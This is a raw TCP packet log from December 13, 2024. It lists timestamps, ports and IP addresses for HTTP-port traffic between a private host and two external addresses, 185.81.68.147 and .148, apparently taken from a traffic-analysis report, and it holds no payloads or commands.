Dec 13, 2024 08:20:09.462642908 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.462683916 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.463490963 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.463536978 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.589184046 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.589214087 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.589375973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.589596987 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.589677095 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.589777946 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.589831114 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.589835882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.589900970 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.590749979 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.590812922 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.590878010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.590924978 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.591773987 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.591820955 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.591866970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.591912985 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.592730045 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.592784882 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.592856884 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.592897892 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.593715906 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.593760967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.593805075 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.593839884 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.594671011 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.594716072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.594808102 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.594847918 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.595675945 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.595730066 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.595810890 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.595849037 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.596685886 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.596733093 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.596739054 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.596774101 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.597650051 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.597726107 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.597735882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.597774029 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.598639011 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.598684072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.598730087 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.598771095 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.599618912 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.599669933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.599699974 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.599741936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.600568056 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.600613117 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.600677013 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.600733042 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.601591110 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.601634026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.601872921 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.601934910 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.602572918 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.602616072 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.602663994 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.602663994 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.603523970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.603590965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.603621006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.603674889 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.604510069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.604562998 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.604620934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.604662895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.605463982 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.605509043 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.605583906 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.605623007 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.606463909 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.606508017 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.606542110 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.606626034 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.607441902 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.607485056 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.607527971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.607584953 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.608452082 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.608517885 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.608551979 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.608594894 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.609457016 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.609533072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.609591961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.609647036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.610399008 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.610445023 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.610512018 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.610553026 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.611347914 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.611392021 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.611475945 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.611520052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:09.612314939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:09.612364054 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:10.326481104 CET	80	49946	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:10.326508999 CET	80	49947	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:10.326543093 CET	49946	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:10.326575994 CET	49947	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:10.785655975 CET	80	49948	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:10.785686016 CET	80	49948	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:10.786746979 CET	49948	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:10.797636986 CET	49948	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:10.904953003 CET	49952	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:10.917308092 CET	80	49948	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:11.024804115 CET	80	49952	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:11.024910927 CET	49952	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:11.025093079 CET	49952	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:11.145275116 CET	80	49952	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:11.145339012 CET	49952	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:11.265137911 CET	80	49952	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.266891956 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.266983032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.431687117 CET	49947	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.431715965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.432085037 CET	49946	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:12.432110071 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.432346106 CET	49959	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:12.432589054 CET	49960	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.462105036 CET	80	49952	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.462158918 CET	80	49952	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.462269068 CET	49952	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.463535070 CET	49952	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.551543951 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.551867008 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.552002907 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.552006960 CET	80	49947	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.552069902 CET	49947	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.552095890 CET	80	49959	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:12.552150965 CET	49959	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:12.552287102 CET	80	49960	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.552331924 CET	49960	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.552671909 CET	80	49946	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:12.552719116 CET	49946	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:12.556629896 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.556843042 CET	49959	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:12.556938887 CET	49960	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.574886084 CET	49961	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.583293915 CET	80	49952	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.676486969 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.676511049 CET	80	49959	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:12.676634073 CET	80	49960	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.694705009 CET	80	49961	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.694849968 CET	49961	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.694921970 CET	49961	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.814784050 CET	80	49961	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:12.815011978 CET	49961	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:12.934860945 CET	80	49961	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878407955 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878423929 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878631115 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878638029 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.878644943 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878705025 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.878705025 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.878715038 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878729105 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878916979 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878930092 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878942013 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878954887 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.878983021 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.878983021 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.878983021 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.879244089 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.893122911 CET	80	49959	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:13.893241882 CET	49959	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:13.893367052 CET	80	49960	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.893444061 CET	49960	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.998455048 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.998578072 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:13.998960972 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:13.998960972 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.002608061 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.002855062 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.070815086 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.070842981 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.071018934 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.074846029 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.074908972 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.074959040 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.075006962 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.083400011 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.083616018 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.086340904 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.086359978 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.086395979 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.086600065 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.094661951 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.094721079 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.094742060 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.094786882 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.103184938 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.103221893 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.103293896 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.103293896 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.111772060 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.111793995 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.111835957 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.111999989 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.119889021 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.119951010 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.120029926 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.120234013 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.128344059 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.128384113 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.128526926 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.128526926 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.136789083 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.136811972 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.136831045 CET	80	49961	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.137104034 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.137104988 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.137126923 CET	80	49961	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.137213945 CET	49961	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.138628960 CET	49961	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.144578934 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.144601107 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.144644022 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.144741058 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.152602911 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.152750015 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.247035980 CET	49964	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.258420944 CET	80	49961	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.262506962 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.262520075 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.262809038 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.263977051 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.263993025 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.264761925 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.264761925 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.268940926 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.268954039 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.269186974 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.269186974 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.273859024 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.273874044 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.273963928 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.273963928 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.278871059 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.278889894 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.278991938 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.278991938 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.283509016 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.283659935 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.283695936 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.283740997 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.288212061 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.288279057 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.288300991 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.288428068 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.292917013 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.293083906 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.293118954 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.295331955 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.297703028 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.297720909 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.298096895 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.298098087 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.302391052 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.302534103 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.302571058 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.302571058 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.307071924 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.307235956 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.307272911 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.307272911 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.312361002 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.312385082 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.312418938 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.312472105 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.316718102 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.316734076 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.316776037 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.316776991 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.321490049 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.321508884 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.321567059 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.321567059 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.326282024 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.326298952 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.326328993 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.326376915 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.330957890 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.330976963 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.331010103 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.331057072 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.335567951 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.335586071 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.335613966 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.335659027 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.340475082 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.340531111 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.340543985 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.340683937 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.345006943 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.345092058 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.367121935 CET	80	49964	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.367208004 CET	49964	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.367285967 CET	49964	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.454602957 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.454627991 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.454776049 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.454776049 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.456552982 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.456574917 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.456609011 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.456691027 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.460347891 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.460429907 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.460477114 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.460575104 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.464226961 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.464251995 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.464368105 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.464368105 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.468139887 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.468164921 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.468755960 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.468756914 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.471839905 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.471862078 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.472134113 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.472134113 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.475644112 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.475670099 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.475840092 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.476317883 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.479166985 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.479190111 CET	80	49958	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:14.479336023 CET	49958	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:14.479336023 CET	49958	80	192.168.2.11	185.81.68.147
